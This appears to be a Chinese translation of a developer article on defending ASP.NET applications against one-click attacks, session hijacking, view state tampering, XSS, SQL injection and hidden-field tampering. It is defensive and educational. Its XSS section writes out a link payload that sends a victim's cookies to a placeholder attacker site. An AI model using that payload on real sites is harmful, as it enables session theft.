如果您正在閱讀本文,可能就不需要再向您灌輸Web 應用程式中的安全性愈來愈重要這一事實了。您需要的可能是一些有關如何在ASP.NET 應用程式中實現安全性的實際建議。壞消息是,沒有任何開發平台— 包括ASP.NET在內— 能夠保證一旦採用了該平台,您就能夠編寫百分百安全的程式碼。誰要是這麼說,一準在說謊。好消息是,就ASP.NET 來說,ASP.NET,特別是版本1.1 和即將發行的版本2.0,整合了一些便於使用的內建防禦屏障。
光是應用所有這些功能並不足以保護Web 應用程序,使其免受任何可能和可預見的攻擊。但是,如果與其他防禦技巧和安全策略相結合,內建的ASP.NET 功能將可以構成一個強大的工具包,有助於確保應用程式在安全的環境中運作。
Web 安全性是各種因素的總和,是一種範圍遠超單一應用程式的策略的結果,這種策略涉及資料庫管理、網路配置,以及社會工程和phishing。
本文的目的在於說明ASP.NET 開發人員為了將安全標準維持到合理的高度,所應始終堅持的做法。這也就是安全性最主要的內容:保持警覺,永不完全放鬆,讓壞人越來越難以發動駭客攻擊。
下面我們就來看看ASP.NET 提供了哪些可以簡化這項工作的功能。
在表1 中,我匯總了最常見的Web 攻擊類型,以及應用程式中可能導致這些攻擊得手的缺陷。
攻擊 | 攻擊的可能發起人 |
跨站點腳本(XSS) | 回顯到頁的不可信用戶輸入 |
SQL 注入 | 串連用戶輸入以形成SQL 命令 |
會話劫持 | 會話ID 猜測和失竊的會話ID Cookie |
一次單擊 | 通過腳本發送的未被察覺的HTTP 張貼 |
隱藏域篡改 | 未檢查(且受信)的隱藏域被填充以敏感資料 |
表1. 常見的Web 攻擊
清單中顯現出來的關鍵性事實有哪些?在我看來,起碼有以下三點:
• | 無論您何時將何種使用者輸入插入瀏覽器的標記中,您都潛在地將自己暴露在了程式碼注入攻擊(任何SQL 注入和XSS 變種)之下。 |
• | 必須以安全的方式實現資料庫訪問,就是說,應為資料庫使用盡可能少的權限,並透過角色來劃分各個使用者的職責。 |
• | 永遠不會透過網路傳送敏感資料(更別說是明文了),而且必須以安全的方式將敏感資料儲存在伺服器上。 |
有趣的是,上面的三點分別針對的是Web 安全性的三個不同方面,而這三個方面結合起來,才是唯一的一種產生防攻擊、防篡改應用程式的合理方式。 Web 安全性的各個層面可以總結如下:
• | 編碼實踐:資料驗證、類型和緩衝區長度檢查,防篡改措施 |
• | 資料存取策略:使用決策來保護可能最弱的帳戶,使用預存程序或至少是參數化的命令。 |
• | 有效的儲存和管理:不將關鍵性資料傳送到客戶端,使用雜湊代碼來偵測操作,對使用者進行身份驗證並保護標識,應用嚴格的密碼策略 |
如您所看到的,只有可以透過開發人員、架構師和管理員的共同努力,才可以產生安全的應用程式。請不要假定您能夠以其他方式達到相同目的。
在編寫ASP.NET 應用程式時,您並不是獨自面對駭客大軍:唯一的武器是透過自己的大腦、技能和手指鍵入的程式碼行。 ASP.NET 1.1 和更高版本都會施加援手,它們具有一些特定的功能,可以自動提高防禦以上列出的某些威脅的屏障。下面我們將它們進行詳細的檢視。
從ASP.NET 1.1 開始引入, ViewStateUserKey是Page類別的字串屬性,只有很少數開發人員真正熟悉該屬性。為什麼呢?讓我們看看文件中是怎麼說的。
在與當前頁相關聯的視圖狀態變數中將一個標識符分配給單一使用者
除了有些累贅,這個句子的意思相當清楚;但是,您能老實告訴我,它說明了該屬性原本的用途嗎?要理解ViewStateUserKey的角色,您需要繼續往下讀,直到Remarks部分。
此屬性有助於防止一次按一下攻擊,因為它提供了附加的輸入以建立防止視圖狀態被篡改的雜湊值。換句話說, ViewStateUserKey使得駭客使用客戶端視圖狀態的內容來準備針對網站的惡意張貼困難了許多。可以為該屬性分配任何非空的字串,但最好是會話ID 或使用者的ID。為了更好地理解這個屬性的重要性,以下我們簡單介紹一次點擊攻擊的基本知識。
一次點選攻擊包括將惡意的HTTP 表單張貼到已知的、易受攻擊的Web 網站。之所以稱為“一次單擊”,是因為它通常是以受害者不經意的單擊通過電子郵件發送的或者在擁擠的論壇中瀏覽時發現的誘惑性鏈接而開始的。透過點擊該鏈接,用戶無意中觸發了一個遠端進程,最終導致將惡意的<form> 提交到一個網站。大家都坦白吧:您真能告訴我,您從未因為好奇而點擊過Click here to win $1,000,000這樣的連結嗎?顯然,並沒有什麼糟糕的事情發生在您身上。讓我們假定的確是這樣的;您能說Web 社群中的所有其他人都倖免於難了嗎?誰知道呢。
要想成功,一次點擊攻擊需要特定的背景條件:
• | 攻擊者必須充分了解該有漏洞的網站。這是可能的,因為攻擊者可以「勤奮地」研究該文件,或者他/她是一位憤怒的內部人員(例如,被解僱而又不誠實的僱員)。因此,這種攻擊的後果可能是極其嚴重的。 |
• | 網站必須是使用Cookie(如果是持續性Cookie,效果更好)來實現單次登錄,而攻擊者曾經收到過有效的身份驗證cookie。 |
• | 該站點的某些使用者進行了敏感的事務。 |
• | 攻擊者必須能夠存取目標頁。 |
前已提及,攻擊包括將惡意的HTTP 表單提交到等待表單的頁面。可以推知,該頁將使用張貼來的資料執行某些敏感操作。可想而知,攻擊者清楚地了解如何使用各個域,並可以想出一些虛假的值來達到他的目的。這通常是目標特定的攻擊,而且由於它所建立的三角關係,很難追本溯源— 即黑客誘使受害者單擊該黑客站點上的一個鏈接,而這又會導致惡意代碼被張貼到第三個站點。 (請參閱圖1。)
圖1. 一次點擊攻擊
為什麼是不抱懷疑的受害者?這是因為,在這種情況下,伺服器日誌中所顯示的發出惡意請求的IP 位址,是該受害者的IP 位址。如前所述,這種工具並不像「經典」的XSS 一樣常見(且易於發起);但是,它的性質決定了它的後果可能是災難性。如何應對它?下面,我們檢視一下這種攻擊在ASP.NET 環境下的工作機制。
除非操作編碼在Page_Load事件中,否則ASP.NET 頁根本不可能在回發事件之外執行敏感程式碼。若要使回發事件發生,視圖狀態域是必要的。請牢記,ASP.NET 會檢查請求的回發狀態,並根據是否存在_VIEWSTATE 輸入域,相應地設定IsPostBack 。因此,無論誰要向ASP.NET 頁發送虛假請求,都必須提供一個有效的視圖狀態域。
一次點擊攻擊要想得手,駭客必須能夠存取該頁。此時,有遠見的駭客會在本地保存該頁。這樣,他/她就可以存取_VIEWSTATE 網域並使用該網域,用舊的視圖狀態和其他網域中的惡意值建立請求。問題是,這能行嗎?
為什麼不能?如果攻擊者可以提供有效的身份驗證cookie,駭客就可以進入,請求將被照常處理。伺服器上根本不會檢查視圖狀態內容(當EnableViewStataMac為off 時),或只會檢查是否已被竄改。預設情況下,試圖狀態中沒有機制可以將該內容與特定的使用者關聯起來。攻擊者可以輕鬆地重複使用所取得的視圖狀態,冒充另一個使用者合法地存取該頁,以產生虛假請求。這正是ViewStateUserKey介入的地方。
如果選擇準確,該屬性可以將使用者特定的資訊新增至視圖狀態。處理請求時,ASP.NET 會從視圖狀態中提取秘鑰,並將其與正在執行的頁面的ViewStateUserKey進行比較。如果兩者匹配,請求將被認為是合法的;否則將引發異常。對於該屬性,什麼值是有效的?
為所有使用者將ViewStateUserKey設為常數字串,相當於將它保留為空。您必須將它設定為對各個使用者不同的值— 使用者ID,會話ID 更好些。由於一些技術和社會原因,會話ID 更為合適,因為會話ID 不可預測,會逾時失效,並且對於每個使用者都是不同的。
以下是一些在您的所有頁面中都必不可少的代碼:
void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; : }
為了避免重複編寫這些程式碼,您可以將它們固定在從Page派生的類別的OnInit虛擬方法中。 (請注意,您必須在Page.Init事件中設定此屬性。)
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; }
整體說來,使用基底page 類別始終都不失為一件好事,我在Build Your ASP.NET Pages on a Richer Bedrock一文中已經進行了說明。如果您要了解更多有關一次單擊攻擊者的伎倆的信息,可以在aspnetpro.com找到一篇非常好的文章。
Cookie 之所以存在,是因為它們可以幫助開發人員達到一定目的。 Cookie 充當了瀏覽器與伺服器之間的一種持續性連結。特別是對於使用單一登入的應用程式來說,失竊的cookie 正是使得攻擊成為可能的罪魁禍首。這對於一次點擊攻擊來說一點沒錯。
要使用Cookie,無需以程式設計方式明確建立和讀取它們。如果您使用會話狀態且實作表單驗證,您會隱式地使用Cookie。當然,ASP.NET 支援無cookie 的會話狀態,而且,ASP.NET 2.0 也引入了無cookie 的表單驗證。因此,理論上您可以在沒有Cookie 的情況下使用這些功能。我並不是說您不再必須這麼做了,但事實上這正是療法比疾病更糟的情況之一。無Cookie 的會話,實際上將會話ID 嵌入了URL 中,這樣誰都可以看到。
與使用Cookie 有關的潛在問題有哪些? Cookie 可能被盜(即被複製到駭客的電腦)和投毒(即被填充以惡意資料)。這些操作通常是即將發動的攻擊的前奏。如果被盜,Cookie 會「授權」外部使用者以您的名義連接到應用程式(並使用受保護的頁面),這可能使駭客輕鬆地規避授權,並能夠執行角色和安全設定所允許受害者執行的任何操作。因此,身份驗證Cookie 通常被賦予相對較短的生存期,即30 分鐘。 (請注意,即使瀏覽器的會話完成所需的時間更長,cookie 仍會過期。)發生失竊時,駭客有30 分鐘的時限來嘗試攻擊。
可以將這個時限加長,以免用戶不得不過於頻繁地登入;但請注意,這麼做會將自己置於危險境地。任何情況下,都應避免使用ASP.NET 持續性Cookie。它將導致cookie 具有幾乎永久的生存期,最長可達50 年!下面的程式碼片段示範如何輕鬆修改cookie 的過期日期。
void OnLogin(object sender, EventArgs e) { // Check credentials if (ValidateUser(user, pswd)) { // Set the cookie's expiration date HttpCookie cookie; cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); if (isPersistent) cookie.Expires = DateTime.Now.AddDays(10); // Add the cookie to the response Response.Cookies.Add(cookie); // Redirect string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); Response.Redirect(targetUrl); } }
您可以在自己的登入表單中使用這些代碼來微調身分驗證Cookie 的生存期。
Cookie 也被用來檢索特定使用者的會話狀態。會話的ID 儲存到cookie 中,該cookie 與請求一起來回傳送,儲存在瀏覽器的電腦上。同樣,如果失竊,會話cookie 將可被用來使駭客進入系統並存取別人的會話狀態。不用說,只要指定的會話處於活動狀態(通常不超20 分鐘),這就有可能發生。透過冒充的會話狀態發起的攻擊稱為會話劫持。有關會話劫持的詳細信息,請閱讀Theft On The Web: Prevent Session Hijacking 。
這種攻擊有多危險?很難講。這要取決於Web 網站的功能,更為重要的是,該網站的頁面是如何設計的。例如,假定您能夠取得別人的會話cookie,並將它附加到網站上某頁某頁的請求中。您加載該頁並逐步研究它的普通用戶介面。除了該頁使用另一個使用者的會話狀態工作外,您無法將任何程式碼注入該頁,也無法修改該頁中的任何內容。這本身並不太壞,但是如果該會話中的信息是敏感和關鍵性的,就有可能直接導致駭客成功實現利用。駭客無法滲透到會話儲存的內容中,但他可以使用其中儲存的信息,就像自己是合法進入的一樣。例如,假定有這樣一個電子商務應用程序,它的用戶在瀏覽網站時將物品添加到購物車中。
• | 方案1。購物車的內容儲存在會話狀態中。但是,在結帳時,使用者被要求透過安全的SSL 連線確認和輸入付款詳細資料。在這種情況下,透過連接其他使用者的會話狀態,駭客只可以了解一些有關受害者的購物喜好的細節。在這種環境下劫持實際上並不會導致任何損害。受威脅的只是保密。 |
• | 方案2。應用程式為每位註冊用戶處理一份檔案,並將檔案保存在會話狀態中。糟糕的是,檔案中(可能)包括信用卡資訊。為什麼要將使用者檔案詳細資料儲存到會話中?可能應用程式的其中一個目標是,從根本上避免使用戶必須重複鍵入自己的信用卡和銀行資訊。因此,在結算時,應用程式會將使用者定位到具有預先填入的網域的頁面。而有失謹慎的是,這些域的其中一個是從會話狀態中取得的信用卡號。現在您可以猜到故事的結局了嗎? |
應用程式的頁的設計,是防止會話劫持攻擊的關鍵所在。當然,還有兩點沒有理清。第一點是,如何防止cookie 偷竊?第二點是,ASP.NET 可以如何偵測和阻止劫持?
ASP.NET 會話cookie 極為簡單,僅限於包含會話ID 字串本身。 ASP.NET 運行庫從cookie 中提取會話ID,並將其與活動的會話進行比較。如果ID 有效,ASP.NET 將連接到對應的會話並繼續。這種行為極大地方便了已經偷到或可以猜出有效的會話ID 的黑客。
XSS 和中間人(man-in-the-middle) 攻擊以及對客戶端PC 的強力訪問,都是獲取有效cookie 的方法。為了防止竊盜,您應實現安全最佳實務來防止XSS 及其各變種得手。
而為了防止會話ID 猜測,您應該乾脆避免太高估計自己的技能。猜測會話ID 意味著您知道如何預測有效的會話ID 字串。對於ASP.NET 所使用的演算法(15 個隨機數字,映射為啟用URL 的字元),隨機猜測到有效ID 的機率接近零。我想不到任何理由來用自己的會話ID 產生器取代預設的會話ID 產生器。許多情況下,這麼做只會為攻擊者提供方便。
會話劫持更糟糕的後果是一旦cookie 被盜或被猜出,ASP.NET 並沒有辦法來偵測欺詐性的cookie 使用。同樣,原因是ASP.NET 將自己限制為檢查ID 的有效性,以及cookie 的來源。
我在Wintellect 的朋友Jeff Prosise 為MSDN Magazine寫了一篇很好的關於會話劫持的文章。他的結論並不令人安慰:幾乎不可能建立能夠完全抵禦依靠偷來的會話ID Cookie 所發起的攻擊的防禦工事。但是他開發的程式碼為進一步提升安全標準提供了非常明智的建議。 Jeff 建立了一個HTTP 模組,為會話ID Cookie 監視傳入的請求和傳出的回應。該模組將一條哈希代碼附加到會話ID 之後,使攻擊者重複使用cookie 更為困難。您可以在此閱讀詳情。
視圖狀態用於在對同一頁的兩個連續請求之間保持控制項的狀態。預設情況下,視圖狀態是Base64 編碼的,並使用一個雜湊值簽名,以防止篡改。除非更改預設的頁設置,否則不可能篡改視圖狀態。如果攻擊者修改了視圖狀態,甚至使用正確的演算法重新產生了視圖狀態,ASP.NET 都會擷取這些嘗試並引發例外狀況。視圖狀態被竄改並不一定有害,雖然它修改了伺服器控制項的狀態— 但可能成為造成嚴重感染的工具。因此,不移除預設情況下進行的電腦驗證代碼(MAC) 交叉檢查就異常重要。請參閱圖2。
圖2. 啟用EnableViewStateMac 時,使視圖狀態本身難以竄改的因素
啟用了MAC 檢查時(預設情況),將對序列化的視圖狀態附加一個雜湊值,該值是使用某些伺服器端值和視圖狀態使用者秘鑰(如果有)產生的。回發視圖狀態時,將使用新的伺服器端值重新計算該雜湊值,並將其與儲存的值進行比較。如果兩者匹配,則允許請求;否則將引發異常。即使假設駭客具有破解和重新生成視圖狀態的能力,他/她仍需要知道伺服器儲存的值才可以得出有效的雜湊。具體來說來,該駭客需要知道machine.config 的< machineKey > 項目中引用的電腦秘鑰。
預設情況下, 項目是自動產生的,以實體方式儲存在Windows Local Security Authority (LSA) 中。僅在Web 場(此時視圖狀態的電腦秘鑰必須在所有的電腦上都相同)的情況下,您才應在machine.config 檔案中將其指定為明文。
視圖狀態MAC 檢查是透過一個名為EnableViewStateMac的@Page指令屬性控制的。如前所述,預設情況下,它被設定為true。請永遠不要停用它;否則將會使視圖狀態篡改一次點擊攻擊成為可能,並具有很高的成功機率。
跨站點腳本(XSS) 對於許多經驗豐富的Web 開發人員來說是老朋友了,它在1999 年左右就已經出現了。簡單地說,XSS 利用程式碼中的漏洞來將駭客的可執行程式碼引入另一個使用者的瀏覽器會話中。如果被執行,注入的程式碼可以執行多種不同的操作— 取得Cookie 並將副本上載到駭客控制的Web 站點,監視使用者的Web 會話並轉發數據,修改被駭的頁的行為和外觀以使其提供錯誤的訊息,甚至使自己變成持續性的,這樣使用者下次返回該頁時,詐騙程式碼就會再次運作。請在TechNet 文章Cross-site Scripting Overview中詳細閱讀有關XSS 攻擊的基礎知識。
程式碼中的哪些漏洞導致XSS 攻擊成為可能?
XSS 利用的是動態產生HTML 頁、但不驗證回顯到頁的輸入的Web 應用程式。這裡的輸入是指查詢字串、Cookie 和表單域的內容。如果這些內容在未經適當效能檢查的情況下出現在網路上,就存在駭客對其進行操作以在用戶端瀏覽器中執行惡意腳本的風險。 (前面提到的一次點擊攻擊其實是XSS 的一種新近變種。)典型的XSS 攻擊會導致不抱懷疑的用戶點擊一條誘惑性鏈接,而該鏈接中嵌入了轉義的腳本代碼。詐欺程式碼將被傳送到一個存在漏洞且會毫不懷疑地輸出它的頁。以下是可能發生的情況的範例:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">Click to claim your prize</a>
使用者點擊一個看起來明顯安全的鏈接,最終導致將一些腳本代碼傳遞到存在漏洞的頁,這些代碼首先獲取用戶計算機上的所有Cookie,然後將它們發送到黑客的Web 站點。
請務必注意,XSS 不是特定於供應商的問題,因此不一定會利用Internet Explorer 中的漏洞。它影響目前市場上的所有Web 伺服器和瀏覽器。更應注意的是,沒有哪一個修補程式能夠修復這個問題。您完全可以保護自己的頁面免受XSS 攻擊,方法是應用特定的措施和合理的編碼實踐。此外,請注意,攻擊者並不需要使用者點擊連結就可以發動攻擊。
要防禦XSS,您必須從根本上確定哪些輸入是有效的,然後拒絕所有其他輸入。您可以在一本書中讀到抵禦XSS 攻擊的詳細檢查表,該書在Microsoft 屬於必讀範圍— Writing Secure Code ,作者是Michael Howard 和David LeBlanc。特別地,我建議您仔細閱讀第13 章。
阻止陰險的XSS 攻擊的主要方法是在您的輸入(任何類型的輸入資料)中添加設計合理、有效的驗證層。例如,某些情況下即使是原本無害的顏色(RGB 三色)也會將不受控制的腳本直接帶入頁中。
在ASP.NET 1.1 中, @Page指令上的ValidateRequest屬性被開啟後,將檢查以確定使用者沒有在查詢字串、Cookie 或表單域中傳送有潛在危險性的HTML 標記。如果偵測到這種情況,將引發異常併中止該請求。此屬性預設是開啟的;您無需進行任何操作即可得到保護。如果您想要允許HTML 標記通過,則必須主動停用該屬性。
<%@ Page ValidateRequest="false" %>
ValidateRequest不是萬能的藥方,無法取代有效的驗證層。請閱讀此處以獲取大量有關該功能的基礎原理的寶貴資訊。它基本上是透過應用一個正規表示式來捕獲一些可能有害的序列。
沒有任何關閉ValidateRequest的理由。您可以停用它,但必須有非常好的理由;其中一條這樣的理由可能是用戶需要能夠將某些HTML 張貼到站點,以便獲得更好的格式設定選項。在這種情況下,您應當限制所允許的HTML 標記( <pre> 、 <b> 、 <i> 、 <p> 、 <br> 、 <hr> )的數目,並編寫一個正規表示式,以確保不會允許或接受任何其他內容。
以下是一些有助於防止ASP.NET 遭受XSS 攻擊的其他提示:
• | 使用HttpUtility.HtmlEncode將危險的符號轉換為它們的HTML 表示形式。 |
• | 使用雙引號而不是單引號,這是因為HTML 編碼僅轉義雙引號。 |
• | 強制一個代碼頁以限制可以使用的字元數。 |
總之,使用但是不要完全信任ValidateRequest屬性,不要太過懶惰。花點時間,從根本上理解XSS 這樣的安全威脅,並規劃以一個關鍵點為中心的防禦策略:所有的使用者輸入都是危險的。
SQL 注入是另一種廣為人知的攻擊類型,它利用的是使用未篩選的使用者輸入來形成資料庫命令的應用程式。如果應用程式興高采烈地使用使用者鍵入表單網域中的內容來建立SQL 命令字串,就會將您暴露在這一風險下:惡意使用者只需存取該頁面並輸入詐欺參數,就可以修改查詢的性質。您可以在此處了解更多有關SQL 注入的資訊。
要阻止SQL 注入攻擊,有許多方法。以下介紹最常見的技巧。
• | 確保使用者輸入屬於適當的類型,並遵循預期的模式(郵遞區號、身分證號,電子郵件等)。如果預期來自文字方塊的數字,請在使用者輸入無法轉換為數字的內容時封鎖該要求。 |
• | 使用參數化的查詢,使用預存程序更好。 |
• | 使用SQL Server 權限來限制個別使用者可以對資料庫執行的操作。例如,您可能需要停用xp_cmdshell 或將該操作的權限僅限於管理員。 |
如果使用預存程序,可以顯著降低發生這種攻擊的可能性。實際上,有了預存程序,您就不需要動態地撰寫SQL 字串。此外,SQL Server 中將驗證所有參數是否具有指定的類型。雖然光是這些並不是百分之百安全的技巧,但是加上驗證的話,將足以提高安全性。
更重要的是,應確保只有經過授權的使用者才能夠執行可能具有嚴重後果的操作,例如刪除表。這要求認真仔細地設計應用程式的中間層。好的技巧(不光是為了安全性)應把焦點集中在角色上。應將使用者分組為各種角色,並為各個角色定義一個包含一組最少的權限的帳戶。
幾週前,Wintellect Web 網站受到一種很複雜的SQL 注入的攻擊。那位駭客試圖創建並啟動一個FTP 腳本來下載一個可能是惡意的可執行程式。幸運的是,這次攻擊失敗了。或者,其實是強用戶驗證,使用預存程序和使用SQL Server 權限,導致了攻擊未能成功?
總而言之,您應該遵循這些指南,以避免被注入有害的SQL 程式碼:
• | 使用盡可能少的權限運行,永遠不以「sa」身分執行程式碼。 |
• | 將存取限制給內建的預存程序。 |
• | 優先使用SQL 參數化查詢。 |
• | 不透過字串串連來產生語句,不回顯資料庫錯誤。 |
在傳統的ASP 中,隱藏域是唯一一種在請求之間保持資料的方法。您需要在下一個請求中檢索的任何資料都被打包到隱藏的<input>網域中,並執行回程。如果有人在客戶端上修改了該網域中儲存的值,會怎麼樣?只要文字是明文的,伺服器端環境就無法測知這一情況。 ASP.NET 中,頁面和各個控制項的ViewState屬性有兩個用途。一方面, ViewState是跨請求保持狀態的方法;另一方面, ViewState可讓您在受保護的、不易篡改的隱藏網域中儲存自訂值。
如圖2 所示,視圖狀態被附加了一個雜湊值,對於每個請求,都會檢查該值,以偵測是否發生了竄改。除少數幾種情況外,沒有任何理由要在ASP.NET 中使用隱藏域。視圖狀態能夠以安全得多的方式實現相同的功能。前面開門見山地講到過,在明文的隱藏域中存儲敏感的值(如價格或信用卡詳細信息),相當於對黑客張開大門;視圖狀態甚至能夠使這種不好的做法比以前更為安全,因為視圖狀態具有資料保護機制。但是,請牢記,視圖狀態可以防止篡改,但是並不能保證保密性,除非使用加密— 儲存在視圖狀態中的信用卡詳細資訊無論如何都有風險。
在ASP.NET 中,哪些情況下使用隱藏域是可接受的?當您產生需要將資料傳回伺服器的自訂控制項時。例如,假定您要建立一個支援重派列順序的新DataGrid控制項。您需要在回發中將新的順序傳回伺服器。如果不將這些資訊儲存到隱藏域中,又可以儲存到哪裡?
如果隱藏域為讀取/寫入域,也就是預期客戶端會寫入它,沒什麼辦法可以完全制止駭客攻擊。您可以嘗試哈希或加密該文本,但這並不能讓您合理地確信不會遭受駭客攻擊。此時,最好的防禦就是讓隱藏域包含惰性和無害的資訊。
此外,應注意ASP.NET 公開了一個鮮為人知的類,可用於編碼和哈希任何序列化的對象.該類為LosFormatter , ViewState實現用於創建回程到客戶端的編碼文本正是同一類。
private string EncodeText(string text) { StringWriter writer = new StringWriter(); LosFormatter formatter = new LosFormatter(); formatter.Serialize(writer, text); return writer.ToString(); }
前面的程式碼片段示範如何使用LosFormatter來建立類似視圖狀態的內容,對其編碼並進行雜湊。
在本文結尾,請讓我指出,最常見的攻擊中至少有兩種(經典的XSS 和一次單擊)通常是通過誘使不抱懷疑的受害者單擊誘惑性和欺騙性的連結來發起的。很多時候我們都可以在自己的收件匣中發現這樣的鏈接,雖然有反垃圾郵件過濾器。幾美元就可以買到大量電子郵件地址。用來產生這種清單的其中一個主要的技巧是掃描Web 網站上的公開頁,尋找並取得所有看上去像電子郵件的內容。
如果頁上顯示了電子郵件地址,則很可能或早或晚這個地址都會被自動Web 程式擷取。真的嗎?當然,這要看該電子郵件是如何顯示的。如果硬編碼它,您輸定了。如果採用其他表示形式(如dino-at-microsoft-dot-com ),是否能夠騙過自動Web 程式不太清楚,但能讓所有閱讀您的頁面並想建立合法聯繫的人光火,倒是一定的。
總體說來,您應該確定一種方法,將電子郵件動態地產生為mailto連結。 Marco Bellinaso 編寫的一個免費元件恰好可以完成這項工作。您可以從DotNet2TheMax Web 網站取得該元件的全部原始碼。
有人懷疑Web 可能是所有執行時間環境中敵意最盛的嗎?根源在於誰都可以存取Web 站點,並嘗試向它傳遞好的或壞的資料。但是,創建不接受用戶輸入的Web 應用程序,又有什麼意義呢?
我們還是直面現實吧:無論您的防火牆如何強大,無論您如何頻繁地應用可用的修補程序,只要您運行的Web 應用程式先天包含缺陷,攻擊者遲早都可以通過主通道,也就是端口80,直接進入您的系統的最核心部分。
ASP.NET 應用程式與其他Web 應用程式相較,既不更容易受到攻擊,也不更安全。安全性和漏洞同樣根植於程式設計實踐、實際經驗和團隊合作。如果網路不安全,那麼任何應用程式都不安全;類似地,無論網路如何安全,管理如何精良,如果應用程式有缺陷,攻擊者總是能夠得手。
ASP.NET 的好處是提供了一些好的工具,只需少量工作,就可以將安全標準提升到可以接受的等級。當然,這並不是足夠高的等級。不應純粹以來ASP.NET 的內建解決方案,同樣也不應忽視它們。盡可能多地了解常見的攻擊。
本文提供了內建功能的註釋的列表,以及一些有關攻擊與防禦的背景知識。用來偵測傳出的攻擊的技巧是另一回事,可能需要一篇專門的文章來介紹。